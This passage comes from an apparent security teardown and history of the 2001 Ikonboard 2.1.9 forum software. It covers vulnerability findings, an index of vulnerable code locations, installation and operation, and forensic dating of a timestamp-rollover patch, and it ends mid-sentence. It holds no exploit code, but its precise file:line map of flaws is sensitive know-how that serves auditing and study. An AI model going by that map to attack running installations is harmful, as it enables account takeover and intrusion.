`rebuildLIST` (`ikon.lib:1025`) `opendir`s an entire `forum<N>` directory and opens/parses **every** `.pl` on each new post/reply/move/edit (`post.cgi:459`, `postings.cgi:199`). `setmembers.cgi`/`search.cgi`/`docount` scan the whole `members/` directory. As a board grows, every write becomes O(threads) / O(members) directory work -- an attacker can amplify by mass-posting. `$CGI::POST_MAX = 1024*150` (150 KB, set in every script, e.g. `post.cgi:18`) caps a single request, but there is **no per-user post-rate limit beyond the optional `floodcontrol`** (which admins/mods bypass, `post.cgi:142`), no thread/forum count cap, and thread files (`.thd`) grow without bound in one file. Registration writes are similarly uncapped (subject only to the ban list). The `search/` directory accumulates per-user result files pruned only opportunistically on the next search (`search.cgi:70-74`). **Modern contrast:** indexed storage, pagination at the data layer, and rate limiting.

---

### Authorization gaps (survey)

The role model is a single `$membercode` field in the member file: `ad` (admin), `mo` (moderator), `me` (member), `banned`. Observations across the state-changing scripts:

- **Admin scripts are consistently gated** on `($membercode eq "ad") && ($inpassword eq $password) && ($inmembername eq $membername)` reading `adminname`/`adminpass` cookies: `setmembers.cgi:63`, `setforums.cgi:84`, `setstyles.cgi:71`, `setvariables.cgi:73`, `settemplate.cgi:71`, `setmembertitles.cgi:76`, `setbadwords.cgi:67`, `checkboard.cgi:59`, `checklog.cgi:64`, `admincenter.cgi:87`. The gate is *logically* correct but rests on the weak cookie/credential substrate (IB219-003) and has **no CSRF token** (IB219-013), so cross-site forgery against a logged-in admin drives any of them.
- **Mod/edit gates use the front-end password cookie:** `postings.cgi` and `topic.cgi` compute `$inmembmod` via `sub moderator` (parsing the forum's moderator name list, `ikon.lib:270`) and clear actions only when `($inmembmod eq "yes") && ($inpassword eq $password)` (`postings.cgi:162/272/594/...`, `viewip.cgi:141`, `forumoptions.cgi:90`). Sound in principle; inherits IB219-002/013.
- **`undef $membercode` reuse.** `topic.cgi:404` `undef $membercode` at the end of each post-render iteration and re-`getmember`s per author -- role rendering is per-post, which is correct, but the same global `$membercode` is later reused for the viewer's mod-tools check (`topic.cgi:433-434`) after a fresh `getmember($inmembername)`; the global-variable style (no `my` on most of these) is fragile and a frequent source of the product's logic bugs.
- **Privilege escalation via profile is *not* possible:** `profile.cgi` `savemodify` rewrites the member file but **preserves** `$membercode`/`$membertitle` from the loaded record (`profile.cgi:548`) rather than from the form -- a member cannot self-promote to `ad`. This is a genuinely correct decision (see "what 2001 got right").
- **Private-forum *listing* bypass** remains via the forgeable cookie (IB219-005), inconsistent with the server-side thread-view check.

#### IB219-025 -- Weak registration ban and account-enumeration controls
**Severity:** Medium * **CWE-203 (Observable Discrepancy) / CWE-799 (Improper Control of Interaction Frequency)**

`register.cgi:111-119` compares the applicant against `banlist.cgi` with **prefix/loose** matches: `if ($emailaddress =~ /^$bannedemail/)`, `if ($ipaddress =~ /^$bannedip/)`. The banned values are interpolated **as regex** (unescaped) and anchored only at the start, so `$bannedip` of `10.0.0.1` also matches `10.0.0.10`, `10.0.0.100`, etc. (over-broad), while any registrant can evade an email ban by prepending characters or an IP ban by fronting a different address. Distinct error strings ("user already exists," "Invalid Email," "not allowed to register") plus the directory probe at `register.cgi:215` (`grep { /^$tempinusername\.cgi/i } readdir`) enable **username enumeration**, and there is no rate limit or CAPTCHA on registration or on the lost-password trigger (IB219-020). **Modern contrast:** exact-match structured ban rules, uniform responses to avoid enumeration, and rate limiting / proof-of-work on registration and password-reset.

---

### What 2001 got right

A fair teardown notes the defenses that were present and sensible for the era. Several show a developer who was security-*aware* within the constraints of flat-file CGI:

- **Post-size cap and upload lockdown, everywhere.** Every script sets `$CGI::POST_MAX = 1024 * 150` and `$CGI::DISABLE_UPLOADS = 1` (e.g. `post.cgi:18-19`). Disabling uploads at the `CGI.pm` layer preempts an entire class of file-upload-to-RCE bugs that sank contemporaries; capping POST size blunts memory-exhaustion. `register.cgi:20` even adds `$CGI::HEADERS_ONCE = 1`.
- **A real (if leaky) input-sanitizer discipline.** `stripMETA` (IB219-006) is a genuine attempt at taint-style path hygiene, and the newer scripts pair it with **strict allowlist numeric guards** -- `topic.cgi:53` `die "Hack attempt!" unless $inforum =~ m!\A\d{1,3}\Z!;`, `forums.cgi:52`, and the `!~ /^[0-9]+$/` checks in `post.cgi:100`, `postings.cgi:89-92`, `viewip.cgi:55-57`, `printpage.cgi:50-52`, `messenger.cgi:96`. Anchored `\A\d{1,N}\Z` allowlists are exactly the right primitive; had they been applied to *every* interpolated identifier (member names, help/file names) instead of just forum/topic/post numbers, most traversal exposure would close. This is the 2.1.8r2/2.1.9 "security fixes" work visible in the diff.
- **Role stored server-side, separate from the cookie.** `$membercode` lives only in the member file; the profile editor deliberately does not let a user rewrite it (`profile.cgi:548`), so there is no self-service privilege escalation -- a mistake many peers made.
- **Admin lost-password lockdown.** `sub blocked` (`profile.cgi:171,573`) refuses to email an administrator's password and instead alerts the admin with the requester's IP/User-Agent -- a targeted, thoughtful control around the highest-value credential.
- **Installer presence check.** `admincenter.cgi:58-68` hard-fails while `install.cgi` exists, nudging operators to remove the backdoor (IB219-004). Imperfect (manual, and the window is real) but better than silence.
- **Directory-listing decoy.** `register.cgi:270` drops a fake `401 Authorization Required` `index.html` into `members/` to suppress indexing -- an honest attempt at defense-in-depth for the web-exposed data dir (IB219-016).
- **Operational safety nets.** Optional **flood control** (`post.cgi:142`), a **ban list** (username/email/IP), a **bad-word filter** applicable to posts, names, and signatures, an `allforums.bak`/`checkboard.cgi` **backup-and-restore** path (`admincenter.cgi:100-107`), and a **hack log** for forensics. The log-only philosophy is the wrong choice for `checkVALIDITY` (IB219-013), but as *telemetry* it reflects a defender's mindset.
- **Password excluded from logs -- the right idea, wrong granularity.** The `unless (/password/i)` log filter (IB219-015) shows intent to redact secrets; it fails only because it matches variable *names* rather than *values*.

None of these offset the Critical findings, but they demonstrate the code was written by someone thinking about abuse -- within a language/hosting paradigm (two-arg `open`, `require`-as-config, plaintext cookies, no sessions) whose defaults made robust security nearly unattainable without the ground-up redesign that became Ikonboard 3.

---

### Appendix -- file/line index of primary sinks

| Concern | File:line |
|---|---|
| Plaintext password read | `ikon.lib:383` (`getmember`) |
| Plaintext password write | `register.cgi:233`, `profile.cgi:548`, `setmembers.cgi:405`, `post.cgi:372`, `post.cgi:818` |
| Login cleartext compare + cookie set | `loginout.cgi:95`, `loginout.cgi:109`, `loginout.cgi:113` |
| Admin cookie auth | `admincenter.cgi:70`, `admincenter.cgi:87`; `set*.cgi` cookie reads |
| Unauth admin creation | `install.cgi:307`, `install.cgi:358` |
| Private-forum cookie trust | `forums.cgi:84`, `forums.cgi:96`, `forums.cgi:160` |
| Path sanitizer | `ikon.lib:652` (`stripMETA`) |
| Two-arg opens (samples) | `ikon.lib:95`, `viewip.cgi:94`, `printpage.cgi:70`, `openFILE` `ikon.lib:1071` |
| Config code-injection | `setvariables.cgi:50`+`:83`, `setstyles.cgi:49`, `settemplate.cgi:202` |
| Mail transports | `ikonmail.lib:100`, `ikonmail.lib:131` |
| Ikonfriend user addresses | `ikonfriend.cgi:120`, `ikonfriend.cgi:141` |
| Output filters | `ikon.lib:602/620/633` |
| HTML-on un-escape | `topic.cgi:258`, `printpage.cgi:129`, `topic.cgi:254` |
| IkonCode tag expansion | `ikon.lib:919`-`951` |
| Reflected XSS | `misc.cgi:46`, `misc.cgi:170`, `misc.cgi:174` |
| CSRF routine | `ikon.lib:16` (`checkVALIDITY`) |
| Hack-log env dump | `ikon.lib:29`, `ikon.lib:53` |
| Password generation | `register.cgi:127`, `profile.cgi:503` |
| Lost-password email | `profile.cgi:178` |
| flock-after-truncate (samples) | `post.cgi:343`, `setvariables.cgi:83`, `messenger.cgi:419` |
| User regex | `search.cgi:242`, `post.cgi:332` |
| Full-dir scans | `ikon.lib:1025` (`rebuildLIST`), `setmembers.cgi:101` |

*End of document 05.*

---

## 7. Installation, Hosting and Day-to-Day Operation

*How you actually got one of these running in 2001, and what it was like to run.*

---

### 7.1 What it needed

From `first_install.html`:

> You'll need some Webspace (about 20megs) that has Perl 5.005 enabled. [...] You'll need a web browser (IE4.5+, or NN4.5+) and an FTP client to upload the files. You'll also need your path to perl, it's usually `#!/usr/bin/perl`, if you are unsure ask your web host.

`help.html` gives a slightly different and lower floor -- Perl 5.004+, `CGI.pm` 2.4+ -- which is the kind of discrepancy you get when two documents are maintained separately.

The full requirement list:

| Requirement | Notes |
|---|---|
| ~20 MB of web space | Almost all of it headroom for posts; the distribution is 839 KB |
| Perl 5.004/5.005 | Core modules only: `CGI`, `CGI::Carp`, `Socket` |
| A `cgi-bin` configured to **execute** | Load-bearing for security -- see below |
| An FTP client with ASCII/binary mode control | Not optional; the wrong mode breaks the install |
| Ability to set CHMOD 0777 or 0755 on directories | The most common host-side blocker |
| Cookies enabled in the browser | The entire session model |

Notably absent: a database, a compiler, any CPAN module, any daemon, any configuration file the admin has to hand-edit. That was the whole pitch. In 2001 a MySQL database was frequently a paid upsell on shared hosting, and PHP was not yet universal; a package that needed nothing but a cgi-bin would run essentially anywhere.

---

### 7.2 The directory layout you had to build by hand

Two trees, in two different parts of the account, because one must be executable and the other must be web-servable.

```
cgi-bin/ikonboard/          <- CHMOD 0777 (or 0755 if the host refuses)
+-- data/                   <- 0777 -- scripts write generated Perl here
+-- help/                   <- help text
+-- members/                <- 0777 -- one file per member
+-- messages/               <- 0777 -- private messages
+-- (forum1/, forum2/ ...     <- created at runtime by setforums.cgi)

public_html/ikonboard/      <- normal web-served space
+-- images/
+-- avatars/
+-- emoticons/
```

The `first_install.html` instruction on permissions is worth quoting because it is where a great many boards went wrong:

> Set the CHMOD (or Permissions) value to `0777` (drwxrwxrwx). If your webhost will not allow this, set the CHMOD value to `0755` (-rwxr-xr-x).

On the shared hosting of the era, CGI typically ran as the webserver user (`nobody`, `www-data`) rather than as the account owner, so `0777` was frequently the only setting under which the scripts could write at all. World-writable directories on a multi-tenant server meant any other customer on the same box could write into your board's data directory. The documentation offers `0755` as the fallback without explaining that it will silently break registration and posting on most hosts -- which is precisely the failure `help.html` then devotes three FAQs to diagnosing.

---

### 7.3 Upload mode matters, and the docs know it

> All of these files must be uploaded in BINARY (Graphic) mode in your FTP client. *(images)*
>
> All of these files must be uploaded in ASCII mode, with CHMOD permissions set to `0755` (-rwxr-xr-x). *(scripts)*

Every shipped text file uses CRLF line endings. ASCII-mode FTP rewrites them to the server's native LF. Upload a `.cgi` in binary mode instead and the shebang becomes `#!/usr/bin/perl\r`; the kernel looks for an interpreter with a carriage return in its name and the server returns `Internal Server Error`, or on some configurations the memorably unhelpful *"No such file or directory"* -- naming a file that visibly exists.

Conversely, uploading GIFs in ASCII mode corrupts them, because the same CRLF->LF rewrite is applied to binary image data.

Getting this backwards in either direction was the single most common installation failure of the entire Perl-CGI era.

---

### 7.4 `install.cgi` -- a genuinely good installer

35 KB and the most competently engineered script in the distribution. It is a four-step wizard that does real environment validation rather than just writing a config file and hoping.

**Step 1 -- collect paths and URLs.** Board name, board URL, path to the cgi directory, path to and URL of the images directory, admin email, timezone.

**Step 2 -- verify the environment.** This is the part that distinguishes it. It checks:

- that `ikonboard.cgi` exists at the path the user claimed (`install.cgi:59-66`);
- that `data/`, `help/`, `members/` and `messages/` exist as directories;
- that `data/` is genuinely **writable**, by creating a probe file, writing to it, and deleting it:

```perl
$makefile = "$ikondir" . "data/test.txt";
open (TEST, ">$makefile") or $datawritable = "The data directory is not writable, please check the chmod";
print TEST "-";
close (TEST);
$datawritable = "The data dir is <b>writable</b>" if (!$datawritable);
unlink "$makefile";
```

Each check reports individually, in blue for pass and red for fail, with a specific remedy. An `$errorflag` gates progress to the next step. This is more installation diagnostics than a great deal of modern software ships with, and it exists because the author had clearly answered the same support questions many hundreds of times.

**Step 3 -- write the configuration.** Generates `data/boardinfo.cgi` as executable Perl, appending the four default font sizes (new in 2.1.9, per `Changes.txt`):

```perl
open(FILE,">$filetomake");
flock(FILE,2);
print FILE "$printme";
print FILE "\$dfontsize1 = \"1\"\;\n";
...
```

Then re-checks that the file exists and is writable, and reports failure with the exact path the user entered so they can see what went wrong.

**Step 4 -- create the administrator.** Writes the first member file with membercode `ad`. `first_install.html` warns:

> Make sure you don't use any non-ascii characters such as `*`, `?`, `|`, `;`, `"`, etc.

The `|` matters because it is the record separator and would corrupt the member file; the others are the shell metacharacters `stripMETA` removes. The user is being asked to enforce the software's data integrity by hand.

**What the installer never does:** delete or disable itself. `install.cgi` remains present, executable and unauthenticated after setup completes, and nothing in the documentation tells the administrator to remove it.

---

### 7.5 First run

After Step 4 the admin lands in `admincenter.cgi` and the board has no content. `first_install.html` walks through creating the first category and forum, with an example that has aged into pure charm:

> For example, if your website was about 'Food', you may have a Category and Forum set up like:
> - Fruit *(Category Name)*
>   - Choosing the right fruit *(Forum name)*
>   - Cooking with fruit *(Forum Name)*
> - Meat *(Category Name)*
>   - How to prepare meat *(Forum Name)*

And then, immediately, the caveat that reveals the architecture:

> If you get a message saying 'Forum1 not created'. Then hit the back button of your browser. Then using your FTP client create a directory called 'forum1' in 'cgi-bin/ikonboard'. The scripts should create this for you, but in some cases it cannot due to the permissions set by your web host.

Creating a forum means creating a **directory**. When `mkdir` failed -- which it did whenever the host disallowed `0777` -- the documented remedy was for the administrator to go make the directory themselves over FTP and resubmit the form.

---

### 7.6 Running the board

The admin center is `admincenter.cgi`, gated by its own login in `ikonadmin.lib`. From it:

| Area | Script | What it writes |
|---|---|---|
| Forum control | `setforums.cgi` (53 KB) | `data/allforums.cgi`, creates `forumN/` dirs |
| Member control | `setmembers.cgi` | `members/*.cgi` |
| Board variables | `setvariables.cgi` | `data/boardinfo.cgi` (regenerates Perl) |
| Styles / colors | `setstyles.cgi` | `data/styles.cgi` (regenerates Perl) |
| Member titles | `setmembertitles.cgi` | `data/membertitles.cgi` (regenerates Perl) |
| Template | `settemplate.cgi` | `data/template.dat` |
| Bad word filter | `setbadwords.cgi` | bad-words data file |
| Announcements | `announcements.cgi` | announcement files |
| IP lookup | `viewip.cgi` | reads only |
| Board integrity | `checkboard.cgi` | recounts and repairs stats |
| Log review | `checklog.cgi` | reads `data/hacklog.cgi` |

Three of those admin screens are code generators -- every time an administrator adjusted a color, the board rewrote a Perl source file that every subsequent request would execute.

`checkboard.cgi` deserves a note. It exists because the denormalized counters -- total posts, total topics, per-forum counts -- drift out of sync with reality whenever a write races or a delete goes wrong. It is a `fsck` for the forum, and its presence in the distribution is an admission that the storage layer could not keep itself consistent. `Changes.txt` for 2.1.8/2.1.9 is full of entries like *"Forum Topic Counts are now Accurate"*, *"Deleting Threads should not result in negative post counts"*, and *"Deleting Forums, the post count is now accurate when you delete. (Does not go up)"* -- each one a symptom of the same root cause.

#### Private forums

A per-forum flag plus a per-member allow-list. `help.html`:

> After you've created a forum and switched it to 'private', you'll need to edit your own member profile and others of those you wish to allow access. [...] Bring up their profile and you'll see a check box with the name of the private forum next to it.

Access is stored in field 18 of the member record as `&`-separated `key=value` pairs, unpacked into `%allowedentry`. Note that the administrator must explicitly grant access **to themselves** -- creating a private forum does not give its creator entry to it.

#### Maintenance mode

New in 2.1.9, credited to LarryC. A single variable checked in `sub output` swaps the page body for a "temporarily down" notice. It is checked at render time, after the script has already done its work, so it is a display-layer courtesy rather than a real lockout.

---

### 7.7 Backup and migration

There is no export function, no backup command, and no mention of backups anywhere in the shipped documentation.

The upgrade path, from `upgrading/upgrading.html`, is FTP:

> Simply overwrite all of the *.cgi and *.lib files in the root IkonBoard directory.

Because data lives in separate files from code, overwriting the scripts genuinely does preserve the content -- an accidental virtue of the one-file-per-entity layout. But upgrades that changed a record format needed a converter, and 2.1.9 shipped one: `upgrading/update_forums.cgi` (1,116 bytes), which rewrites every forum's `list.cgi` into the newer field layout.

> To use this convertor, simply drop it into the root 'cgi-bin/ikonboard' directory on your webspace, set the correct CHMOD permission (usually '0755') and then run it by using your browser.

Migration was: upload a script, load it in a browser, hope, delete it. There is no dry run, no backup step, no confirmation prompt, and no way to reverse it. The instruction to remove it afterwards is not given.

The upgrade file list itself is worth flagging for anyone actually attempting a restoration: it is hand-maintained HTML and lists both `post.cgi` and `setforums.cgi` twice, with an orphaned `(*)` footnote marker attached to nothing.

---

### 7.8 Operating hazards

Things that broke real boards, drawn from the FAQ and from the code:

- **Posts that vanish.** `help.html` diagnoses this as a missing `forumN/` directory. The deeper cause -- the `list.cgi` rebuild racing with itself -- is discussed in the Architecture chapter, and the September 2001 timestamp rollover produced a spectacular instance of it.
- **Login loops.** Three separate FAQ entries. Causes: the member file was never created (permissions), the membercode is not `ad`, or cookies are blocked. `help.html` walks the admin through opening `members/foobar.cgi` in a text editor and reading their own password out of it -- *"the file would look like this: `Foobar|bar|Administrator|ad|`"* -- which is as clear a statement as one could want that passwords were stored in plaintext and everybody knew it.
- **Case sensitivity.** *"remember that Ikonboard is case sensitive, so Password, password, PASSWORD and pAssWorD are all different."* This was a **2.1.8r2.1 change** -- `Changes.txt` lists "Registering is now case sensitive" as a fix, meaning earlier versions had case-insensitive registration and members could collide.
- **Non-ASCII characters in styles.** *"Make sure that you've not used any non ASCII characters when setting up the styles"* -- because the style values are written into a Perl file and then executed.
- **Corrupted uploads.** The FAQ suggests downloading `install.cgi` back off the server and diffing it against the zip, because partial FTP transfers were common enough to warrant a documented procedure.

---

### 7.9 Support model

No email support, by explicit policy, in every shipped document:

> Please do not email us, we get a lot of email and do not have the time to reply. You'll get a far faster answer from our support board.

Support was a forum -- `forums.ikonboard.com`, itself running Ikonboard -- and the community was the support tier. `README.txt` goes further, telling users that bug fixes for 2.1.9 did not all have written instructions yet and inviting them to *ask*:

> Currently, we do not have bug fix instructions available for every bug fix contained within this distribution. However, if you post a thread in the "Bug Reports" forum for iB2 on the support forums [...] I or another member of the dev team would be happy to post the code. It would help if you entitled your post "2.1.9 - Fix for xxx".

Patches were distributed as **forum posts containing Perl fragments**, which administrators pasted into their own files by hand. There was no patch file, no version control, no checksum. Two boards both calling themselves "2.1.9" could differ by a dozen hand-applied fixes -- which is exactly what this archive's own `ikon.lib` turns out to be.

---

### 7.10 Complete file manifest

145 files, 839,181 bytes. Generated by `ib_manifest.py`.

| Directory | Files | Bytes | Lines |
|---|---:|---:|---:|
| `.` (docs) | 5 | 28,053 | 599 |
| `cgi-bin` | 37 | 727,182 | 17,710 |
| `cgi-bin/data` | 6 | 7,319 | 208 |
| `cgi-bin/help` | 15 | 9,568 | 97 |
| `cgi-bin/help/admin` | 1 | 1,644 | 59 |
| `cgi-bin/messages` | 1 | 84 | 3 |
| `non-cgi/avatars` | 18 | 9,418 | -- |
| `non-cgi/emoticons` | 9 | 14,640 | -- |
| `non-cgi/images` | 51 | 34,225 | -- |
| `upgrading` | 2 | 7,048 | 175 |

**34 Perl programs and libraries: 642,355 bytes, 15,526 lines.**

#### Programs, by size

| File | Bytes | Date | Role |
|---|---:|---|---|
| `postings.cgi` | 56,985 | 2001-06-08 | Thread display |
| `setforums.cgi` | 53,092 | 2001-06-03 | Forum admin |
| `post.cgi` | 45,142 | 2001-06-08 | Post composer |
| `post.cgi.bak` | 45,138 | 2001-06-08 | *pre-edit backup* |
| `ikon.lib` | 39,735 | **2001-09-09** | **Core library (patched)** |
| `ikon.lib.bak` | 39,605 | 2001-06-04 | *pre-patch backup* |
| `install.cgi` | 35,606 | 2001-05-23 | Installer |
| `messenger.cgi` | 31,779 | 2001-05-23 | Private messages |
| `profile.cgi` | 29,407 | 2001-05-23 | Member profiles |
| `search.cgi` | 25,866 | 2001-05-23 | Search |
| `announcements.cgi` | 24,066 | 2001-05-23 | Announcements |
| `setmembers.cgi` | 23,285 | 2001-05-02 | Member admin |
| `setvariables.cgi` | 22,324 | 2001-06-04 | Board settings |
| `topic.cgi` | 21,956 | 2001-06-06 | Topic list |
| `forums.cgi` | 21,312 | 2001-05-23 | Forum view |
| `register.cgi` | 20,905 | 2001-05-28 | Registration |
| `setstyles.cgi` | 20,785 | 2001-05-02 | Color admin |
| `misc.cgi` | 18,082 | 2001-05-23 | Misc member actions |
| `ikonboard.cgi` | 15,343 | 2001-05-23 | Board index |
| `help.cgi` | 13,568 | 2001-05-23 | Help viewer |
| `setmembertitles.cgi` | 12,474 | 2001-05-02 | Rank admin |
| `forumoptions.cgi` | 11,238 | 2001-06-03 | Forum options |
| `newposts.cgi` | 10,831 | 2001-05-23 | New post finder |
| `ikonfriend.cgi` | 10,679 | 2001-05-23 | Email to a friend |
| `viewip.cgi` | 10,158 | 2001-05-23 | IP lookup |
| `checkboard.cgi` | 8,480 | 2001-05-02 | Integrity check |
| `admincenter.cgi` | 8,848 | 2001-06-01 | Admin hub |
| `settemplate.cgi` | 7,673 | 2001-05-18 | Template editor |
| `loginout.cgi` | 7,355 | 2001-05-23 | Login/logout |
| `setbadwords.cgi` | 6,928 | 2001-06-04 | Word filter |
| `ikonadmin.lib` | 6,482 | 2001-05-28 | Admin auth library |
| `printpage.cgi` | 5,490 | 2001-05-02 | Printable view |
| `checklog.cgi` | 5,125 | 2001-05-02 | Log viewer |
| `whosonline.cgi` | 4,632 | 2001-05-23 | Active users |
| `privacy.cgi` | 3,379 | 2001-05-23 | Privacy statement |
| `ikonmail.lib` | 3,345 | 2001-05-02 | Mail library |
| `upgrading/update_forums.cgi` | 1,116 | 2000-11-24 | Format converter |

#### Shipped data files

| File | Bytes | Date | Contents |
|---|---:|---|---|
| `data/privacy.dat` | 2,477 | 2000-10-31 | Privacy statement text |
| `data/register.dat` | 1,432 | 2000-09-25 | Registration terms |
| `data/template.dat` | 1,240 | 2000-10-17 | Page shell |
| `data/progs.cgi` | 883 | 2001-05-23 | Script name map |
| `data/styles.cgi` | 864 | 2000-10-29 | Default colors |
| `data/membertitles.cgi` | 423 | 2000-10-29 | Default ranks |

#### Images

51 interface GIFs (2000-09-24 to 2000-11-01), 9 emoticons (2000-09-24), and 18 avatars -- all dated **2000-02-26**, the oldest files in the distribution: `abra`, `Abu`, `Aladdin`, `Alfred`, `arbok`, `Ares`, `ArmondoGuitierrez`, `Arthur`, `artistbirdie`, `Atta`, `avengers`, `Batman`, `Batman2`, `BlackWidow`, `BruceWayne`, `Catwoman2`, `Flik`, plus `noavatar.gif` (2000-10-10).

The avatar set is alphabetical and stops at F. It is the first pageful of somebody's clip-art folder, shipped as a default set and never revisited across at least four releases.

---

## 8. Archaeology

### 8.1 The distribution is dated by its contents, not its packaging

The 145 files carry preserved modification timestamps from inside the original zip. They span:

```
earliest: 2000-09-25  cgi-bin/data/register.dat
latest:   2001-09-09  cgi-bin/ikon.lib
```

The oldest assets are older still -- `non-cgi/avatars/*.gif` are all dated **2000-02-26**, a set of eighteen cartoon-character GIFs (Batman, Aladdin, Abu, Flik, Atta, an Abra and an Arbok) that had already been sitting in the tree for over a year when 2.1.9 shipped.

The shipped documentation clusters tightly in late May / early June 2001:

| File | Date |
|---|---|
| `license.html` | 2001-05-04 |
| `first_install.html` | 2001-05-28 |
| `help.html` | 2001-05-28 |
| `README.txt` | 2001-06-04 |
| `Changes.txt` | 2001-06-07 |
| `upgrading/upgrading.html` | 2001-06-07 |

That makes **7 June 2001** the effective release date of Ikonboard 2.1.9 Beta. Most of the CGI scripts are dated 2001-05-23, a bulk timestamp consistent with a single packaging pass.

Four files postdate the documentation. Those four are the story.

---

### 8.2 The billion-second patch

`ib_provenance.py` flags everything newer than the newest shipped document:

```
FILES NEWER THAN THE RELEASE -- edited after the release was packaged:
   2001-06-08  cgi-bin/post.cgi
   2001-06-08  cgi-bin/post.cgi.bak
   2001-06-08  cgi-bin/postings.cgi
   2001-09-09  cgi-bin/ikon.lib
```

`ikon.lib` stands three months apart from everything else. Its exact modification time is the single most interesting artifact in this archive:

```
ikon.lib      epoch=1000009398   UTC=2001-09-09 04:23:18
rollover 1e9                     UTC=2001-09-09 01:46:40
```

**The file's own timestamp is 1000009398 -- nine thousand three hundred and ninety-eight seconds after Unix time reached 1,000,000,000.** Two hours, thirty-six minutes and thirty-eight seconds after the rollover.

And the diff against `ikon.lib.bak` shows exactly what was changed in those two and a half hours:

```diff
--- cgi-bin/ikon.lib.bak (2001-06-04, 1124 lines)
+++ cgi-bin/ikon.lib     (2001-09-09, 1127 lines)
@@ -1045,2 +1045,3 @@
         close (TMP);
+	if ($lastpostdate < 1000000000) { $lastpostdate = "0" . $lastpostdate; }
         $rr = "$lastpostdate|$topicid|$topictitle|...";
@@ -1051,2 +1052,3 @@
         @sortdat = reverse(@sortdat);
+        $checkdat = @sortdat;
         foreach (@sortdat) {
@@ -1056,3 +1058,3 @@
             }
-        if (($processed_data eq "") || ($processed_data !~ m!\|!)) { &error("Missing Data&..."); }
+        if ((($processed_data eq "") || ($processed_data !~ m!\|!)) && ($checkdat != 0)) { &error("Missing Data&..."); }
```

#### Why the board broke

`sub rebuildLIST` builds each forum's topic index by prefixing every topic's last-post timestamp to a pipe-delimited string and calling Perl's `sort`. Perl's default `sort` is a **string** comparison. Placing a fixed-width timestamp first makes lexical order equal chronological order -- as long as the width never changes.

At 01:46:40 UTC on 9 September 2001, Unix timestamps went from nine digits to ten. From that moment:

```
"1000000123"  lt  "999999999"     ->  TRUE
```

Every topic posted after the rollover sorted *below* every topic posted before it. Active threads vanished to the bottom of page one, or off the listing entirely. To an administrator that morning it looked exactly like the notorious "disappearing threads" bug the release notes had promised was fixed.

The patch zero-pads any nine-digit timestamp to ten characters, restoring the invariant that made the string sort valid.

#### The second half of the fix

The other two hunks are subtler and reveal a real debugging session, not a blind patch. The original code treated an empty `$processed_data` as proof of corruption and aborted with *"Data as corrupted on the server."* But a forum that legitimately contains **zero topics** also produces empty `$processed_data`. The new `$checkdat = @sortdat` captures the topic count in scalar context, and the abort now requires *both* empty output *and* a non-empty input list.

So whoever sat down at 23:23 local time on 8 September 2001 fixed two things: the sort that had scrambled every forum, and a false-positive corruption error that fired on empty forums -- very likely the error they were staring at while diagnosing the first problem.

#### Who applied it

The tree settles this, and it settles it against the intuitive answer.

**This distribution was never installed.** Ikonboard generates a specific set of files the first
time it is set up and used, and not one of them exists here:

| Generated file | Created by | Present? |
|---|---|---|
| `data/boardinfo.cgi` | `install.cgi` step 3 | no |
| `data/onlinedata.dat` | `sub whosonline` | no |
| `data/boardstats.cgi` | install / runtime | no |
| `data/allforums.cgi` | `setforums.cgi` | no |
| `data/hacklog.cgi` | `checkVALIDITY` | no |

`data/` holds exactly the six files the zip ships. `members/` is empty. `messages/` contains only
its anti-directory-listing stub. There are no `forumN/` directories.

Two of those absences are individually conclusive. `data/boardinfo.cgi` is `require`d by all 32
scripts inside the startup `eval` (`ikonboard.cgi:22-34`), so without it **no page of this board
could ever have been served**. And `onlinedata.dat` is rewritten by *any* visitor loading *any*
page, guests included, so its absence independently proves zero page views.

This narrows the field considerably, but it is worth being precise about how far it goes.

**What the tree does prove** is that it descends from the vendor's own working copy. `ikon.lib.bak`
is dated **2001-06-04**, three days *before* the 2001-06-07 release -- a date no downloader could
hold, because the release did not yet exist. The `.bak` files are the maintainer's working detritus,
left in the tree and packaged with it. Whatever else this zip is, it was assembled at
ikonboard.com.

**What it does not prove** is who typed the September edit. "Never installed" rules out an
administrator of *this* tree hitting the bug in production -- nobody was running it -- but it does
not rule out a third party patching an unpacked copy without ever installing it. Someone running
Ikonboard elsewhere could plausibly have kept a clean master copy, read the fix off the support
forum (which is exactly how `README.txt` says fixes were distributed), applied it to that copy in
September, and re-zipped. A mirror operator could have done the same.

So the honest statement is: **almost certainly a vendor-issued patch, but not proven to have been
applied by the vendor to this exact zip.** What favors the vendor reading is that ikonboard.com
documented doing precisely this (`help.html`):

> We do however, try to update the downloadable zip file every time a new bug is found.

-- and that the edit is stylistically of a piece with the SmileyMan `rebuildLIST` rewrite the
release notes credit.

The most plausible reconstruction, offered as reconstruction rather than as established fact:
ikonboard.com kept its master tree on disk, hand-edited it in place (leaving `.bak` files behind),
zipped it for release on 7 June, corrected `post.cgi` and `postings.cgi` the next day, and then --
when Unix time gained a digit three months later and every board running the software scrambled its
forum listings overnight -- patched the master and re-issued the download. No version bump was
needed or made: `$versionnumber` still reads `2.1.9 Beta`, and a zip fetched in September would
legitimately carry the fix while calling itself the same release.

The chain from that master tree to this particular archive object is not something the filesystem
can establish. But there is external evidence that closes most of the gap.

#### The November 2001 download

This copy has a known owner and a known board. FieRcE YeD, who preserved the zip, ran
FinalFantasyFanatic.com on Ikonboard 2.1.9 -- and the board's own profile pages, captured by the
Wayback Machine while it was still live, state each member's join date in the `Member Since:` field
that `profile.cgi` renders.

The two that matter, quoted from the archived pages themselves:

| Member | `Member Since:` | Archived profile |
|---|---|---|
| **FieRcE_YeD** | **Nov. 9, 2001** | [capture, 2002-02-20](https://web.archive.org/web/20020220075917/http://www.finalfantasyfanatic.com/cgi-local/ikonboard/profile.cgi?action=show&member=FieRcE_YeD) |
| jstyla | Nov. 25, 2001 | [capture, 2002-04-20](https://web.archive.org/web/20020420085800/http://www.finalfantasyfanatic.com/cgi-local/ikonboard/profile.cgi?action=show&member=jstyla) |

Sixteen further member profiles are captured on the same host, all registering between January and
April 2002 -- Millennia and teddybearperson on 12 January, then Razz, Ramza_Beoulve, ValiantTRISH,
Sephiroth, StratusRT, Highlander, DJ_Moguta, Kefka, Vivi, The_Iron_Yuppie, doppelganger,
Jubei_Skyrender, Romku_Tetsulian and Garalin. FieRcE_YeD and jstyla are the only two from 2001, and
they are two weeks apart.

FieRcE_YeD is the administrator account, which `install.cgi` step 4 creates as the final act of
setup, so **9 November 2001 dates the installation**. jstyla, sixteen days later, is the first
member to find the board.
That is two months *after* the billion-second patch -- and the zip used to perform it is this one,
carrying a 9 September `ikon.lib`. So the copy obtained in early November already contained the
fix.

That is what a vendor-maintained download looks like. For the third-party explanation to survive,
